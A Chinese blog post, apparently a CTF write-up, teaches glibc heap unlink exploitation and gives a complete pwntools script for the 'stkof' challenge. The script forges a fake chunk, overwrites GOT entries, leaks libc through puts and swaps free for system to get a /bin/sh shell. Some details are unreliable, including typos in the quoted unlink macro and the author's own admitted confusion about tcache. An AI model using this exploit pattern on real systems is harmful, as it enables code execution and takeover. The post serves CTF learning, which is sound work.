是我的错觉么,总觉得unlink比UAF好懂好多…也有可能是我觉得做题模板比较好理解一点,真要深入的话我感觉一个头会比两个大emmmm
原理及其条件
原理
unlink顾名思义,脱链,把一个空闲的chunk从unsorted bin里取出来,与物理相邻的chunk合成一个一个大堆块(分“前合”,“后合”’)。这里用图来解释会更清晰一些
原本的堆块结构是这样的,双向链表

在unlink经过一系列操作之后成了这样

我们可以很清楚的看到,BK->fd不再指向p->prev_size而是FD->prev_size,而FD-bk同理,指向了BK->prev_size,就把P给脱了出来,等待下一个被free的与它物理相邻的堆块,与其合并成新的堆块。比如P和FD都被free了,那么P和FD就会合成为新的堆块,chunk头就是P的首地址,而如果是BK和P合并的话,chunk头就是BK的首地址,所以前合与后合是不一样的
那么我们要是可以伪造fd和bk弄出了fake_chunk,是不是就可以进行任意地址读写了?
条件
想要利用这个漏洞,那么你就必须拥有修改被free掉的堆块的权限,即UAF漏洞
关键源码
unlink的源码其实很长,但我们需要动用的部分其实很少,我就把那部分代码截出来进行解读
1 2 3 4 5 6 7 8 9
| #define unlink(BK,P,FD){ FD = P->fd; BK = P-bk; if(__builtin_expect(FD->bk != P || BK-> != P,0)) malloc_printerr(check_action,"corrupted doubnle-linked list",P,AV); FD->bk = BK; BK->fd = FD; }
|
所以我们要想伪造fake_chunk,那么我们就要满足这样的表达式
1 2
| P->fd->bk == P <=> *(P->fd + 0x18) == P p->bk->fd == P <=> *(p->bk + 0x10) == P
|
那么我们伪造的fd和bk就是
1 2
| P->fd = P - 0x18 P->bk = P - 0x10
|
其最终效果就是往P里写入(P-0x18)的值
例题(stkof)
审视源码
main函数,可以看到是去符号表的,通过1,2,3,4来执行相应函数,类似于menu

首先看寻找下malloc
在哪里,经查询,当v3 == 1
时,该函数就是malloc

有了malloc,后面的函数就更好对应了,那我们来看看v3 == 2
是什么

可以看到,有两个输入,最开始会查询数组s中的v2存不存在,不存在就Fail,所以可以看做是index,而第二个输入比较复杂,先是把s字符串转为整形赋给n,ptr取s[v2]的内容,在for循环里逐字节对应,那么我们可以得到n为size
,而ptr为content
,那么这一整个函数就可以说是edit
再看看v3 == 3
,很明显是个free

其实只要有这三个函数就足够了,剩下的那个函数就是个checkin,看看你写入没有,非必要就不展示了
Payload
可能是我ubuntu22.04版本有点高,本地调不通,所以我本来想很详细的写gdb调试过程的,但是却因为本地调不成功而远端可打,迫于无奈只能先把payload整个放出来,然后逐步解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import *
context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux', 'splitw', '-h']
p = remote('node5.buuoj.cn',25670) elf = ELF('./stkof')
def malloc(size): p.sendline('1') p.sendline(str(size))
def edit(index,size,content): p.sendline('2') p.sendline(str(index)) p.sendline(str(size)) p.send(content)
def free(index): p.sendline('3') p.sendline(str(index))
P = 0x602150 FD = P - 0x18 BK = P - 0x10 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] free_got = elf.got['free'] atoi_got = elf.got['atoi']
malloc(0x30) malloc(0x30) malloc(0x80) malloc(0x80)
payload = p64(0) + p64(0x31) payload += p64(FD) + p64(BK) payload += b'a' * 0x10 payload += p64(0x30) + p64(0x90)
edit(2,0x40,payload)
free(3)
payload_change = p64(0) payload_change += p64(atoi_got) payload_change += p64(puts_got) payload_change += p64(free_got)
edit(2,len(payload_change),payload_change)
payload_leak = p64(puts_plt) edit(2,len(payload_leak),payload_leak) free(1)
puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.success('puts_real_addr:'+hex(puts_real_addr))
libc_base = puts_real_addr - 0x6f690 log.success('libc_base:'+hex(libc_base))
system_addr = libc_base + 0x45390 log.success('system_addr:'+hex(system_addr))
edit(2,0x08,p64(system_addr))
malloc(0x20) payload = b'/bin/sh\x00' edit(4,len(payload),payload) free(4) p.interactive()
|
逐步讲解
伪造fake_chunk
首先是很常规的步骤,创建四个堆块,然后根据unlink原理伪造fd和bk,创造出fake_chunk
1 2 3 4 5 6 7 8 9 10 11 12
| malloc(0x30) malloc(0x30) malloc(0x80) malloc(0x80)
payload = p64(0) + p64(0x31) payload += p64(FD) + p64(BK) payload += b'a' * 0x10 payload += p64(0x30) + p64(0x90)
edit(2,0x40,payload) free(3)
|
我们一次来看edit之前,edit和free后的状况
edit前

首先我们先排除三个堆块,分别为系统创造的size为0x290,0x1000,0x410(其实都比真实开辟的地址大0x10),其余的才是我们创造的堆块。
我们可以看到最初的堆块构造
edit

现在我们已经把payload的内容写进去了,fd和bk也都伪造好了,不过在伪造fd,bk之前,得先确定堆块的位置,先来看看如何根据堆块的位置进行伪造fd,bk指针

0x602140是数组s的首地址,也是我们堆所在的地方,我们可以很清楚的看到,因为我选取的是堆块2
,对应的地址是0x602150-->0x1ed4700
,所以我的P == 0x612150
,那么fd和bk也就应运而生
free
从这里开始我的gdb就开始失败了,为了连贯我还是把它放出来

按照正常情况,我最开始的0x31应该会被修改成0xc1,而bk和fd也会被解析为真实地址,但是不知为何没有,应该是ubuntu版本问题。
如果正常运行的话,堆会变成这样

那么我们现在就可以进行任意地址写了
PS:由于堆块2和3已经合并了,所以这里的chunk3实际是我开辟的第四个堆块
修改chunk
思路
从这里开始可能就比较意识流了,我会尽量进行详细解释,让大家看懂
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload_change = p64(0) payload_change += p64(atoi_got) payload_change += p64(puts_got) payload_change += p64(free_got)
edit(2,len(payload_change),payload_change)
payload_leak = p64(puts_plt) edit(2,len(payload_leak),payload_leak) free(1)
puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.success('puts_real_addr:'+hex(puts_real_addr))
|
我们要进行任意地址写,就必须从0x602138入手,也就是我们的堆块2入手,我们把got表填写进chunk之中,通过改写got表来实现任意操作。因为我们的程序中不存在system,所以我们得先泄露出libc_base才行,把free改成puts即可通过free任意地址打印出对应函数的真实地址
first_edit

second_edit

泄露
我们已经把free_got指向了puts,那么我们free任意堆块都相当于puts出了它的真实地址,只需要接收地址即可,因为2我泄露的是puts函数,puts函数是在堆块1内,所以我是free(1)
收尾
1 2 3 4 5 6 7 8 9 10 11 12 13
| libc_base = puts_real_addr - 0x6f690 log.success('libc_base:'+hex(libc_base))
system_addr = libc_base + 0x45390 log.success('system_addr:'+hex(system_addr))
edit(2,0x08,p64(system_addr))
malloc(0x20) payload = b'/bin/sh\x00' edit(4,len(payload),payload) free(4) p.interactive()
|
把free再次改成system,然后往空堆块里塞/bin/sh
再free即可
注意
当时写这个blog的时候是Ubuntu22.04且还不熟悉bins的结构和tcache的异或,所以前边写的有些怪,时间太长懒得改了。这个适用的是类似small_bins和large_bins,不适用于tcache